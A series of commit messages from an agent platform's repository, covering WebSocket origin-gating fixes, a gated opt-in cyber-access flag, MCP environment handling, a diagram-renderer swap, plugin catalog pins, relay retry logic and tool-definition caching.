the detached serve writes instead of polling for a report file. main.ts
offsets its one added line by joining a two-line comment.
The spawn env test passed process.env through to the spawned shell. Run
from a dev shell that exports HERMES_DESKTOP_DEV_SERVER, the packaged
case inherited it and read the runner's value instead of 'unset'. Drop
the variable from the env the test hands the spawn.
The web server trusts a dev renderer's origin only from the
HERMES_DESKTOP_DEV_SERVER it was spawned with. connect() reused any
owned, live backend whose profile, token, runtime path and home matched,
so after the dev-server port changed, or on a switch between packaged
and dev builds, it reused a backend that refuses every renderer socket.

The ownership lockfile now records the dev server a backend was spawned
for, and reuse also requires it to match the current one; otherwise the
owned backend is reaped and respawned. Records without the field count
as no dev server, so packaged builds reuse exactly as before.
The sockets Desktop opens to a gateway on the same machine are one-use,
ticketed native dials whose Origin is stripped before the upgrade, and
the boundary admits an upgrade with no Origin. A dev build therefore
needs no restart of a local gateway that was started without
HERMES_DESKTOP_DEV_SERVER. Say so, note that SSH backends spawned for
another renderer are replaced, and narrow the remaining requirement to
backends Desktop did not start that see the dev renderer's Origin.
The dev-server condition took connect() to cyclomatic complexity 36,
over its code-health cap of 34. The lockfile checks that decide whether
a published backend serves this connect move into lockServesConnect();
behaviour is unchanged.
The /api proxy rewrote a WebSocket upgrade's Origin to HERMES_DASHBOARD_URL.
Pointed at a port forward (http://127.0.0.1:8000 forwarded to the backend on
9119), that Origin names neither the backend's bound port nor the Host the
proxy keeps (localhost:5173), so the backend refused the dev page's sockets.

The proxy sets no changeOrigin, so Host stays the page's own authority and
the browser's Origin already names it, which the backend admits as
same-origin. Drop the rewrite and its helper, pin the proxy options, and
pin both header pairs in the backend test.
connectWindowsRemote ignored devServer: the spawn payload never asked
windows_ssh_runtime to set HERMES_DESKTOP_DEV_SERVER, the ownership record
did not name a renderer, and reuse did not compare one. A dev build's
renderer sockets through the SSH forward were then refused unless the
Windows host had been configured by hand.

Send devServer in the spawn payload and have the runtime helper set (or
clear) HERMES_DESKTOP_DEV_SERVER from it, record it in both ownership
writes, and decide reuse with the POSIX lockServesConnect predicate.
Records without the field count as no dev server, so packaged builds
reuse as before.
lockServesConnect was exported out of order, which the perfectionist/sort-named-exports lint rule rejects.
The Host/Origin/peer gate for plugin WebSockets was attached as an
include_router dependency. FastAPI passes router dependencies only to
@router.websocket routes (APIWebSocketRoute). A plugin that declares its
socket with router.add_websocket_route(...) or @router.websocket_route(...)
gets a plain Starlette WebSocketRoute, so the gate never ran for it and a
page on another local port could still open that socket.

Run _ws_request_is_allowed in PluginApiWebSocketGate instead. The
middleware sees every /api/plugins/<name> upgrade whatever the route
form, and it closes with 4403 before native-grant redemption, so a
refused upgrade does not consume a grant and the answer is the same for
every plugin name. The router dependency is removed.

test_every_mounted_plugin_websocket_gets_the_gate now covers all three
forms on an app carrying the real middleware: [raw] and [raw-decorated]
fail on the previous sources (DID NOT RAISE WebSocketDisconnect) and
pass with this change. The abnormal-close grant-scope test hand-builds a
scope without a client, which the peer check fails closed; it now sets
client like uvicorn does.
A packaged build (no dev server) spawned the remote serve with whatever HERMES_DESKTOP_DEV_SERVER the remote login shell exported, so that backend trusted a dev renderer origin nobody asked for. The Windows helper already clears it. The POSIX spawn script now runs `unset HERMES_DESKTOP_DEV_SERVER` before `exec env`, which sets it again only for a dev build (plain sh, no reliance on `env -u`).

remote-lifecycle-dev-server.test.ts runs the real command with the variable exported to the spawning shell: the packaged case reported the exported value before this change and reports it unset after.
With webapp.public_url: https://localhost:8443 in front of a Webapp on
127.0.0.1:9120, a proxy that rewrites Host to the backend's address
sends Host 127.0.0.1:9120 with Origin https://localhost:8443. That
Origin names neither the bound port nor the Host it dials, so CORS gave
no grant and every WebSocket upgrade got 4403. The loopback port check
never read the configured public URL, and a loopback public URL does not
turn on sign-in.

_configure_auth_gate now also records the public URL's exact loopback
origin (scheme, host, port; default ports filled in) as
app.state.trusted_public_origins, from listener_public_url (the
Webapp's webapp.public_url) or dashboard.public_url, and
is_trusted_local_origin accepts an Origin equal to it. Nothing else is
widened: another loopback port, scheme or host on the same proxy is
still refused, and a non-loopback public URL adds nothing (its Origin
never reaches the port check).

The port check keeps running on 0.0.0.0 / :: binds. Sign-in cookies are
SameSite=Lax and http://localhost:3000 is same-site with
http://localhost:9119, so sign-in alone does not keep another local
page on the same host off the sockets; a new test pins that.

The public_url cases fail on the previous sources (4 failed: every
trusted case) and pass with this change. web-dashboard.md describes the
proxy setup.
runGatewayEnsure layered the Desktop process env under the child, so a dev build's `gateway ensure` (and `gateway restart`) handed HERMES_DESKTOP_DEV_SERVER to the per-host gateway it starts. That gateway outlives the dev session and kept trusting the renderer port (Vite's 5174 fallback) for CORS and sockets afterwards. Desktop never needs it there: its HTTP to the local gateway goes through main-process requests with no Origin, and its socket dials have Origin stripped. The variable is now removed from the ensure client env; SSH-spawned serve backends still receive it.

local-gateway.test.ts: the new case reported the inherited value before this change and none after.
OpenAI Daybreak (Trusted Access for Cyber) reduces cyber refusals for
approved accounts. Codex's model picker has a Daybreak toggle; Hermes had
no way to request it.

The signed-in account's Codex /models catalog already lists, per model,
which cyber programs that account may use
(available_access_programs.cyber). Hermes reads that catalog for Fast and
Ultrafast; it now keeps the cyber list from the same fetch.

- agent.daybreak (default false) is one profile-wide switch, like Codex's.
- Desktop shows a Daybreak switch in a model's options submenu, next to
  Fast, only when this account's catalog lists daybreak_blue for that
  model. Unknown or unreachable catalog: hidden.
- Each Responses request adds access_programs.cyber=daybreak_blue only
  when the switch is on AND the request's credential and model are listed.
  Checked per request, so a /model switch, credential rotation or expired
  catalog never carries it to a model or account without it.
- The gateway re-reads the switch every turn, so a flip applies to the
  next turn of a running chat without rebuilding its agent.
- The opt-in codex app-server runtime does not send it, so the switch is
  hidden there.

Co-authored-by: FroRaut <79215537+Froraut@users.noreply.github.com>
The profile switch reached every turn the gateway ran, so turning it on in
Desktop also sent Daybreak on that profile's Telegram, Discord and Slack
chats. OpenAI allows Daybreak no third-party or downstream access, and a
bot's chats can be other people.

- gateway: _load_daybreak(source) is true only for Platform.LOCAL turns
  (Desktop, TUI, CLI).
- standalone hermes serve: agents built for a non-local source (a plugin
  session tagged telegram) never carry it, and a live flip skips them
  (agent.session_source.DAYBREAK_SOURCES).
- docs: say who gets it and why messaging chats don't.

Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>
Platform.LOCAL is the canonical transport, not the owner: hosted rooms
(bot_room) and A2A peers stage LOCAL sessions too, so the platform gate
still sent Daybreak on their turns. The gateway now reads the route's
frozen launch policy and allows only the owner's own creation labels
(cli, tui, gui, oneshot; gateway.session_policy.DAYBREAK_LABELS). Third-
party tool integrations, editor (ACP) clients and an unreadable policy
get standard requests.

With turn isolation the live agent is in the compute-host child, which
read the switch once at build; the parent's live flip only reaches its
own process. The child now re-reads it from its profile's config.yaml on
every reused turn, with the same local-surface gate.
Standalone hermes serve read agent.daybreak when an agent was built and
then relied on a live-agent scan and a compute-host refresh. A build that
raced a flip could still publish the old value, and the compute-host read
bound only the home, not the profile's secrets and terminal policy.
_prepare_turn_input now reads it once the turn's final agent is selected,
inside the turn's own profile scope (prompt_turn._sync_agent_daybreak).
That one read covers in-process and compute-host turns, so the build-time
read, the live-agent scan and the compute-host refresh are gone.

Desktop: a queued write kept the primary menu's focus-following
requester, so after a focus switch it could reach another connection's
same-named profile. The model menu now binds Daybreak reads and writes to
the clicked surface's own gateway.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The MCP stdio spawner built its child env from an allowlist (_SAFE_ENV_KEYS)
that omits HERMES_HOME, so every stdio MCP child was launched with no
HERMES_HOME at all. Under a multiplexed host / dashboard-desktop backend
serving `--open-profile` (e.g. hermes-serve-dev.service, host home = default,
opened profile = dev) those children resolved to the platform-default home
instead of the served profile:

  - any Python child importing hermes_constants tripped
    _warn_profile_fallback_once() -> "[HERMES_HOME fallback] HERMES_HOME is
    unset but active profile is 'dev' ... Any data this process writes will
    land in the wrong profile" (issue #18594);
  - children that DO write (caches/state) landed under the default home.

Pin the ACTIVE profile's home at spawn time via get_hermes_home() (honours the
served-profile contextvar, which does not cross the process boundary;
os.environ only holds the launch profile's home). An explicit server
`env.HERMES_HOME` still wins (applied after).

Verified: tests/tools/test_mcp_stability.py,
tests/tools/test_mcp_connect_secret_scope.py -> 20 passed.
Probe: served scope (override=dev) now yields child HERMES_HOME=.../profiles/dev.
Red on base: `_build_safe_env(None)` raises KeyError('HERMES_HOME') under a served
profile scope. Green with the pin. Also asserts an explicit server env.HERMES_HOME wins.
With the served HERMES_HOME pinned into the stdio child env, two profiles
running the same server no longer share one child: the shared child ran in
the first profile's home, which is the bug this PR fixes. Approved by
Teknium (per-profile children over cross-profile reuse).
(cherry picked from commit ad7871438f70e34e956f24391acd57136855f84b)
(cherry picked from commit 94cdc5919c60165e87781a6cb3561c0d72490c6e)
Community voice plugin. It does not replace the built-in ElevenLabs provider.

(cherry picked from commit 16e3df858ffbf2142c5b8a6b5e39829a93699922)
Desktop drew ```mermaid fences with mermaid.js 11.17.2: a 2.97 MB (768 KB
gzip) lazy chunk, 1.3 s of main-thread work to draw 15 diagrams even with
the runtime already loaded, and a full re-render of every diagram on each
light/dark flip. Heybinshao proposed Pele in #145052.

Pele (obsidianmd/pele, MIT, by kepano) renders the same Mermaid syntax to
plain SVG, synchronously, with no dependencies. This swaps it in behind the
existing RichCodeBlock `mermaid` entry and keeps the rest of the path:

- `pele/lazy`, so a diagram loads only its own type's chunk (the pattern
  from TudeOrangBiasa/brainondesk#98 and Limatura/tessera#148). The
  `mermaid` advancedChunks group is gone; a group would merge the types back
  into one chunk.
- Still an <img> data: URI, so the SVG stays an isolated document with no
  scripts. Links and images are off, as under mermaid's strict mode (as in
  7Yearsss/reizo-studio#155).
- Colors: the app's `--dt-*` tokens are resolved to concrete values and
  written onto the SVG root as `--pele-*`. A token that does not resolve is
  left to Pele's default rather than becoming black. The resolved theme is
  the render-cache key, so skins re-color too, not only the mode flip.
- No mermaid fallback (energon and brainondesk keep one). Mermaid's own
  syntax docs (492 fences) draw in exactly the same 476 cases with both
  renderers; the 16 misses are all zenuml, an external plugin neither ships.

Two follow-ups came from profiling the first Pele version:

- Every diagram re-resolved the palette on mount and on each repaint, one
  forced style recalc per token: 246 recalcs per 15-diagram re-render. The
  theme is now resolved once per repaint, shared through
  useSyncExternalStore, with all probes styled before any is read.
- The palette went in through a DOMParser/XMLSerializer round trip, and
  the alt text through another parse. The palette is now a string insert
  into Pele's root style, and the alt-text parse runs only when the SVG has
  a <title> or <desc>.

xmlWellFormedSvg and normalizeSvgSize only existed to repair mermaid's HTML
serialisation (#133089), so they go, along with their tests. The #133089
case is kept as a test against real Pele output. Pele is pinned to 1.6.0,
the newest release that passes the repo's 14-day min-release-age.

Refs #145052
The hand-rolled listener set around onThemeRepaint duplicated what a
nanostore already gives (apps/desktop/AGENTS.md: shared renderer state
lives in small stores). The resolved theme is now an atom whose onMount
owns the repaint subscription, read through useStore, the same shape as
$routesVersion. It is still resolved once per repaint for all diagrams, and
cleared on unmount so a later mount re-resolves.
Reported in review by ghgoodreau: mermaid.js typeset `A["$$x^2$$"]` labels,
but Pele 1.6.0 drew them as literal `$$x^2$$`. The render still succeeded,
so the source fallback never ran.

Pele 1.8.0 added a `math` resolver, so this moves to 1.13.0 and connects
KaTeX to it. The app already loads KaTeX for chat markdown, so this adds no
download. The resolver returns MathML, which needs no stylesheet or
webfonts, so it draws inside the isolated <img> SVG and in the PNG copy;
mermaid's output was MathML too. TeX that KaTeX can't parse returns null,
and Pele shows the source.

Pele sizes each label from a measurement taken in the page. The app
stylesheet would skew it: it enlarges KaTeX's `.katex` wrapper by 1.21em,
and its reset changes bare-element layout. So the wrapper is dropped and
the measurement is taken in a shadow root. The reserved size then matches
what the stylesheet-free SVG draws: x^2 measures 16 px wide and draws
16 px, where it measured 19 px before.

1.13.0 is two days old, so .npmrc gets a min-release-age-exclude entry with
a removal date, in the same form as the existing ones.
Review follow-ups on the Pele swap:

- The theme atom holds the typed DiagramTheme instead of a JSON string.
  The render cache is generic over the theme, so the parse-and-cast
  round-trip goes away, along with the '' sentinel that JSON.parse would
  have thrown on. The cache still keys on JSON.stringify([theme, code]).
- Each distinct `--dt-*` token is probed once: 7 reads per repaint instead
  of 9, since three palette slots share `--dt-muted-foreground`.
- The accessible name reads only the root's own <title>/<desc>. Pele also
  writes nested <title>s (journey actors, click tooltips), so a journey
  diagram used to be named after its first actor.
- KaTeX runs with strict: 'ignore', as katex-memo does, so non-LaTeX input
  doesn't log a warning per label.
- Drops leftovers of the mermaid dependency: the expired mermaid
  min-release-age exclusion, and uuid and stylis from the vendor-util chunk
  group (neither is in the lockfile any more).
The browser-hosted app applies its UI scale as CSS zoom on <html>
(browser-zoom.ts), so getBoundingClientRect on the math probe returns
zoomed pixels while the isolated SVG draws at the unzoomed font size. At
50% an `x^2` label reserved 8 px and drew 16 px, clipping it; at 175% it
reserved 28 px for the same 16. Dividing by the probe's currentCSSZoom
restores the match: within 1 px from 50% to 175%. Electron's zoom factor
scales the whole page, rect included, so it was never affected.
Reported in review by ghgoodreau: KaTeX defaults to inline mode, which
rejects display-only TeX. `A["$$x^2\tag{1}$$"]` threw "\tag works only in
display equations", so the resolver returned null and Pele drew the
literal source. mermaid.js passes `displayMode: true`, so this does too.

Display mode also restores mermaid's display sizing: \frac and \sum render
with stacked, full-size limits. The in-page measurement still matches what
the SVG draws: `x^2\tag{1}` measures 86x26 and draws 86x26, `\frac{a+b}{c+d}`
35x30 and 35x30.
Nyx is a local, single-user memory provider (PyPI: nyx-memory). Pinned
to sixgodgit/nyx@b7418cc (plugin 7.15.3), subdir hermes-plugin.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019ZZeQFn5F6mEbmX8vPsf4g
Re-pins sixgodgit/nyx from b7418cc8 (7.15.3) to 101a64d3 (7.17.0):
per-profile settings stay off os.environ, the sys.path insert is gone,
the provider is named nyx, nyx-web/node_modules is untracked, and the
plugin dir requires nyx-memory>=7.17.0.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019ZZeQFn5F6mEbmX8vPsf4g
Pin a9a0f216b88e3d09c4efb386987c083061deb824; adds the image field for the listing.
No code change: the tag only adds docs/banner.png and the README hero.
- sha 364992af: all paths resolve per call via hermes_constants.get_hermes_home
- drop the fixed-DB-path known_issue (resolved); add bank-layout disclosure
- version 0.1.3
Read the Meta key through Hermes secrets and allowlist the muse child environment.
Syncs the Czech language pack with upstream main (ef75bc70): +30 desktop
strings (settings.memoryLayers.*, plugin install-modal guards, client/backend
version labels, zones.tabActions, restored-draft notice, web-access restart
failure, profiles.notServedHere), +2 core Discord approval strings, +1 TUI RPC
string; three desktop keys retired upstream are dropped.

Counts in the entry refreshed: core 3,510/3,510, TUI 1,386/1,386, desktop 5,360
of 5,485 (the 125 branching function values stay English by design). Pack
commit: 17002bfd36
The pack now matches the English catalogs of main@40b56650: core
3515/3515, TUI 1390/1390, Desktop 5404 of 5523 (the 119 gaps are 117
branching functions plus two arrays). The description no longer claims a
zero-width-space deviation in display.verb_connector — upstream has since
removed it.
Two read-only tools over the PnP tree. win_device_table lists every present device
with its class, status, manufacturer, device id and problem code in words - 28 no
driver installed, 10 cannot start, 43 stopped after reporting a failure, 22 switched
off on purpose - filtering by name, class, or to the devices that need attention;
unplugged devices are history, left out unless asked for. win_device_detail adds the
driver behind the device (version, date, provider, signer, INF, signed or not) or
the absence of one, which for code 28 is the same fact said twice.

Pin 125c0399 = the monorepo head; the admission validator passes 15/15 with zero
warnings and the 15-test suite passes on the working copy and inside the pin
tarball. Both answers come from CIM (Win32_PnPEntity, Win32_PnPSignedDriver, joined
by device id, unelevated); property names, enum values and ids do not change with
the display language, while sc.exe-style localized output is never parsed.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017doESmRdm5Mbwm41YXbttS
Pin moves to v2.1.0 (70de0095d74625d592fcfef3c3aabf2ec2779e14): a Live view
of every open run with its subagents, a Floor view with every agent at a
fixed place, a Pop out window of the roster, and Performance charts with a
value axis, hover numbers and the runs behind a bar. Screenshots now show
Live, Floor and the popout (the 390 px roster shot makes way; the catalog
shows six); one new known issue listed. `hermes plugins validate` passes on
the pinned tree; scripts/validate_plugin_catalog.py passes.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017doESmRdm5Mbwm41YXbttS
Pin moves to v2.1.1 (501d8d980b9268db584a2797e2562272caa59f35): review fixes to
Live, Floor and the popout. Batches link to the manifest written just before
the subagent started, a subagent that outlives its parent run stays under it
(so that known issue is gone), an unknown outcome reads Ended, and Live reads
a bounded set of children per run. Catalog validator passes.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017doESmRdm5Mbwm41YXbttS
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The pin stays at the reviewed e6482ffa (plugin 0.1.0). Metadata only:

- known_issues: on Hermes 0.22.3 and later plugin hooks run in the
  gateway process, and 0.1.0 checks a command in the gateway's
  TERMINAL_CWD or own directory until it sets workdir or changes
  directory, so a project's .tirith/policy.yaml may not apply. Plugin
  0.1.1 reads ctx.session_cwd().
- Disclosure: tirith also downloads the CISA KEV feed during some
  package checks.
- readme: false and docs_url on the plugin's main branch until the 0.1.1
  re-pin: the README at e6482ffa still says the plugin is unreleased.
Replaces the optional-mcps entry: Courier by Autolane ships as a portable
Agent Plugins v1 package (Autolane/hermes-courier-plugin), pinned at
65027e6. Adds the contributor email mapping.
Venice DIEM → Surplus seller plugin (ProlowN/surplus-intelligence-seller),
pinned at f29a0e2. Seller-only; utilization-first pricing to clear daily DIEM.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
MariaDB's official Hermes packages from mariadb/ai-plugins, pinned at the
26.10.6 release.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Addresses the review at c188e641:

- mariadb-sql is dropped: a subset of mariadb-dev.
- sha moves to fde0a1f, where the mariadb-dev launcher installs exactly
  mariadb-shell v26.10.4 with the installer from a fixed commit, checks
  the package against SHA256SUMS committed in the plugin, has no
  prerelease fallback and reads no GitHub credentials. The disclosure
  says so.
- mariadb-guard's description names mariadb-dev as the plugin to install
  it with.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Picks up the review fixes: setup asks before turning off the hook limit, the plugin works within the limit when it stays on, and the CLI gets a minimal environment.
- pin sha to bd32f6f (v1.1.8 release tag)
- description: JSON/PDF exports, theme override, syntax highlighting,
  gutter drag range-select, remembered prefs, session info footer
- disclosure updated to the real RPC surface (session.history /
  session.usage RPCs + session.info event; the plugin no longer calls a
  nonexistent session.info RPC)
Pin hermes-zoth to 4e7f2ec (v1.1.4): working ref pinning, git
hardening, source flags, and parallel status probes.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Read-only Arc Network tools: balances, transactions, fees, tokens and
blocks on Arc mainnet and testnet, pinned at 4555b3e.
An egress proxy between the gateway and the relay connector briefly answered
403 (its own DNS lookup timed out). The same request would have worked seconds
later, but:

- Boot self-provision (POST /relay/provision) ran once. On failure the gateway
  kept dialing with no credentials and was closed 4401 at the reconnect
  watcher's 300s cap until a restart.
- A media upload (POST /relay/media) was tried once. On failure the base
  fallback posted the caption with a "couldn't send file" notice and returned
  that notice's receipt as success, so a cron run with a MEDIA: attachment
  recorded last_status ok with the file missing.
- Neither path logged who sent the 403. A proxy's HTML page read as
  "connector returned HTTP 403".

Provision: the startup mixin starts a background retry, retry_self_provision,
when the boot attempt left a configured relay without credentials. Delays are
5s, 30s, 120s, then every 300s. A refusal the connector authored with a JSON
reason (4xx, not 408/429), or a withheld secret, is retried every 600s. The
retry stops once credentials exist or the relay is unconfigured, and is held in
_background_tasks so shutdown cancels it. On success it declares the relevance
policy and pulls the relay's reconnect-queue entry forward. The watcher builds
every relay adapter from the live env, so its next pass, within 10s, dials with
the new credentials. Relay is process-level under multiplexing (secondaries
skip it), so only the launch process retries, through the same
launch-profile-scoped token path as boot.

Upload: up to 3 attempts, 2s and 5s apart, on transport errors and
403/408/429/5xx. The connector never answers 403 on /relay/media (401, 413,
400, 503), so a 403 there always comes from something in between. 401, 400 and
413 are final. A fresh bearer is minted for each attempt, and the file read
moves off the event loop.

Dropped attachment: when the send_media lane was available but a local file
never arrived (upload gave up, or the connector declined or failed the op), the
same fallback notice still goes out, but the send returns success=False with
the reason. raw_response["failure_notice_sent"] tells the turn dispatcher not
to post a second notice. Cron's existing media-error path then records
delivery_failed. A connector that does not advertise send_media, and
public-URL images, keep today's behaviour. The four local-file overrides share
one helper, which also keeps adapter.py under its line ratchet.

Logs: a non-2xx from provision or upload is described by
gateway/relay/http_diagnostics.py with the Server, Via, Proxy-Status and
X-Squid-Error response headers and the first 200 characters of the body,
redacted. Request headers and tokens are never read.
Review follow-ups on the transient-failure recovery.

- A hop that echoes the request's bearer into its error body bare
  ("token <x> rejected") got it logged: the generic redactor has no pattern
  for a prefix-less base64url token. describe_http_error now takes the exact
  credentials the caller sent (secrets=) and replaces them literally before
  the excerpt is cut and redacted. The provision path passes the identity
  token, which also covers the connector's own refusal reason; the media
  upload passes the per-attempt bearer and the per-gateway secret.
- Credentials obtained while a reconnect-watcher pass was still dialing
  without them were pushed back to the 300s cap when that dial failed.
  _on_relay_provisioned now also sets retry_now on the queue entry. A pass
  clears the flag when it starts; if it is still set when that pass records
  a failure, the failure keeps the immediate retry.
- A JSON {"error"} 403 from a proxy (Cloudflare/Envoy style) was taken for a
  connector refusal and paced at 600s. It is not a refusal when Via,
  Proxy-Status or X-Squid-Error is present, or Server names a known proxy.
  The connector sets none of these, and a hosting edge's own Server name
  (railway-edge) is not on the list.
A send_media frame whose ack was lost (transport ambiguous=True) was folded
into "attachment not delivered": the fallback posted a "couldn't send" notice
and the send_message tool / cron reported a failure that invites a duplicate
re-send. _gated_op now surfaces the ambiguous result to _send_media, which
returns success with raw_response["ambiguous"] (same possibly-delivered
posture as cron's in-flight live-send timeout). Confirmed declines and
unsent frames still fail as before.

Diagnostic response headers now go through the same redaction as the body,
before truncation.
The relay adapter reports a send_media whose ack was lost as success with
raw_response["ambiguous"], but both consumers that re-send on failure
dropped the flag: send_message told the model the media was delivered,
and cron recorded a clean delivery.

send_message now returns success plus a delivery_unconfirmed note telling
the model not to resend. Cron marks the target in last_delivery_unverified
through the existing _record_delivery_verification path.
When the socket drops after a send_media frame reached the connector, the
reader-exit settlement reported a definite failure, so send_message and cron
treated a possibly-posted attachment as failed (fallback notice / re-send).
The pending ack future now records its op; reader exit marks only send_media
settlements ambiguous. Every other op keeps the definite connection-lost
result, and a write that raises stays definite.
A plain unaddressed follow-up in a channel thread the bot participates in
gets reply_expected=None, so a bare [SILENT] is rejected and the gateway
posts the unexpected-silence notice. That is noisy when humans in the
thread talk to each other without @mentioning.

thread_followup_silence (config.extra / SLACK_THREAD_FOLLOWUP_SILENCE,
default false) makes such non-DM thread replies reply_expected=False so the
silence marker stands. DMs, @mentions and flat channels are unchanged,
and the default keeps the #110952 behaviour.

Move the Slack config getter factories into adapter_config_readers.py to
keep adapter.py within its code-health line cap.
load_gateway_config() bridges slack.thread_followup_silence into the env as
a side effect, like the sibling Slack gating flags, so add it to the
force-cleared list to keep it from leaking between tests.
Operators reported MCP servers that stayed missing from tool_search and
tool_describe in a long-running gateway after the servers were healthy
again. Starting a new session did not bring them back.

get_tool_definitions(quiet_mode=True) memoizes the definitions it built
after filtering on check_fn verdicts. The memo key covers registry
generation, config fingerprint, selection and scope, but nothing about
how long those verdicts are valid. A hit returns the stored list without
calling the checks again, so the registry's 30 s verdict TTL never takes
effect. The comment above the memo says check_fn drift is handled by that
TTL, which a hit skips.

An MCP check_fn is false while the session reconnects. On reconnect the
transport skips registration when the server still has registered names,
so the registry generation does not change. A memo entry computed during
that window kept the omission until something else bumped the generation
or config. The memo is process-global, so a new session hit the same
entry. invalidate_check_fn_cache() (declaration.on_change, hermes tools)
cleared the verdicts but not the memo.

Changes:
- tools/registry.py: check_fn_verdict_window() collects the earliest
  expiry among the cached verdicts consulted inside it. A grace-served
  True expires at once, because the registry re-probes it on the next
  call. no_cache_check_fn probes are config-backed and set no expiry.
  invalidate_check_fn_cache() bumps check_fn_cache_epoch().
- model_tools.py: a memo entry expires at the earliest verdict expiry it
  was filtered on. The epoch is part of the key. Hits are unchanged.
- agent/tool_executor.py: _tool_search_scoped_names() reads the memo
  instead of a per-agent copy keyed only on registry generation, which
  kept a recovered tool uncallable through tool_call for the agent's
  lifetime.

Tests: tests/tools/test_tool_defs_memo_availability.py covers the
reporter's reproducer, natural TTL recovery, true-to-false with TTL and
failure grace, memo hits within the TTL, restricted toolset and profile
scope, and a composed AIAgent run over a loopback provider where the
bridge recovers between turns.
Follow-up to the memo expiry. With the memo now following check_fn verdicts, the
between-turns refresh (preserve_prefix) would append a recovered tool to a live
session's tools[] the next turn. That is the prefix fork #95053 / #84783 were closed
over: tools[] is frozen for a session and changes only on /new, /reload-mcp or
compaction (#101367).

_publish_tool_snapshot now holds back a fresh-only registered tool when the registry
generation has not moved since the agent's last snapshot: the only way such a tool is
new is a check_fn flip. A real late registration (generation moved) still appends at
the tail, as on main. Post-build injected tools (memory provider, context engine,
message_agent) are not registry entries and are unaffected.

What follows availability after this change: new sessions (/new, a new agent build),
the Tool Search live catalog (tool_search / tool_describe / tool_call), and
/reload-mcp. A live session's tools[] does not.

Tests: the direct-tool-list test now asserts the freeze through recover/flap/recover,
that a new agent sees the recovered tool and /reload-mcp publishes it; a second test
pins that a late registration still appends.
Review fixes for the check_fn-verdict memo expiry.

- The between-turns freeze gate held only registered names, and only on an
  unchanged registry generation. With Tool Search on, a session built while
  its only deferrable tools were down gained tool_search / tool_describe /
  tool_call when they recovered, and a selection widened with the
  generation unchanged (adopt_late_connections against a server already
  connected in this process, refresh_plugin_sessions) had its new tools
  held. The agent now records its toolset selection next to
  _tool_snapshot_generation (agent_init and every publish), and the gate
  holds every name availability alone can add (registered tools and the
  bridge) only while both are unchanged.
- The hold decision reads the generation after the build, so a
  registration that lands during a refresh appends in that refresh.
- A rebuild from the session pin in the process that wrote it (agent-cache
  eviction, /model, a fresh agent per turn) applies the same rule: the
  pin write records (generation, selection) per session in-process, and
  restore_agent_tool_prefix holds a tool that is new only because its
  check_fn flipped. Another process has no record and appends as before.
- A list built on a grace-served True is reused for 5 s
  (_CHECK_FN_GRACE_REUSE_SECONDS), never past the grace window, instead of
  expiring at once, so a failing or timing-out probe no longer re-runs on
  every catalog read and tool_call during the 60 s grace.
restore_agent_tool_prefix carried a pinned tool missing from the fresh
build only while it is registered. The bridge (tool_search, tool_describe,
tool_call) is synthesized by assemble_tool_defs, never registered, so a
session pinned with it and rebuilt in the same process while its only
deferrable tools were down (agent-cache eviction, /model, a fresh agent
per turn) came back without it: tools[] changed mid-conversation, the
narrowed pin was persisted, and recovery kept it narrowed.

In the process that wrote the pin, carry the pinned bridge like the
between-turns refresh (_merge_preserving_prefix) already does.
_check_fn_cached stamped every verdict with the time read before fn()
ran. A probe that fails by timing out (~5 s) came back with its 5 s
grace reuse window already over, so every catalog read and tool_call
ran the slow probe again. Stamp verdicts, the grace check and the reuse
deadline from probe completion, still capped by the grace deadline.
Owner submission: a portable Agent Plugins v1 package (mcp.json and one
skill) that starts the installed `recued --mcp` as a local stdio MCP server.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Rule-4 SHA bump of the ctx_checkpoint entry from ee8cb2e9 (GottZ/ctx
v5.27.0, plugin 0.5.0) to 1c6a35c7 (v5.27.2, plugin 0.5.1). Plugin-only
change upstream: the key/value redaction now masks the credential behind
an "Authorization: Bearer|Basic|Digest" scheme word instead of only the
scheme word, a redactor failure aborts the checkpoint instead of rendering
an empty transcript, every write claims type=checkpoint explicitly, a
batch without direct user/assistant text returns an empty receipt instead
of blocking a required compaction, and the chain write runs inside a
wall-clock budget with rate-limit backoff and a part cap. No Hermes code
change; description, maintainer, tier and capabilities unchanged.
Rule-4 SHA bump from 1c6a35c7 (GottZ/ctx v5.27.2, plugin 0.5.1) to 59e2af31
(v5.29.0, plugin 0.6.0). The description grows by the optional memory layer
(off by default) and its disclosure: recall, ctx_* tools, MEMORY.md/USER.md
mirror, fact extraction and session digests over the same ctx server,
redacted like the checkpoint; state files under HERMES_HOME/ctx_state;
read-only state.db; optional transport: rest with CTX_KEY. Plugin-only
change upstream, no Hermes code change.
Moves the pin from 59e2af31 (GottZ/ctx v5.29.0, plugin 0.6.0) to
9f98ff65 (GottZ/ctx v5.29.6, plugin 0.6.2). Rule-4 SHA bump: sha and
version; the description's transport: rest clause now says that the
REST client redacts the key from every error text and follows no HTTP
redirect (the two user-visible changes of 0.6.2). Everything else in
the entry is unchanged.

0.6.1 (GottZ/ctx#51): checkpoint parts respect ctx's 50 KiB byte cap,
head lookup filtered to heads, per-session head titles, chains started
under 0.6.0 continue, structured block ids over MCP, confirm_writes keys
refused by name, per-call budget and /stop on bounded MCP calls, dotted
install backups. 0.6.2 (GottZ/ctx#53): the ctx key never leaves the
REST client in error texts or failure envelopes, redirects are refused,
a re-initialized provider keeps nothing of its previous client, the
recall prefetch is pinned to the binding it started under, automatic
writes redact the bound key.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
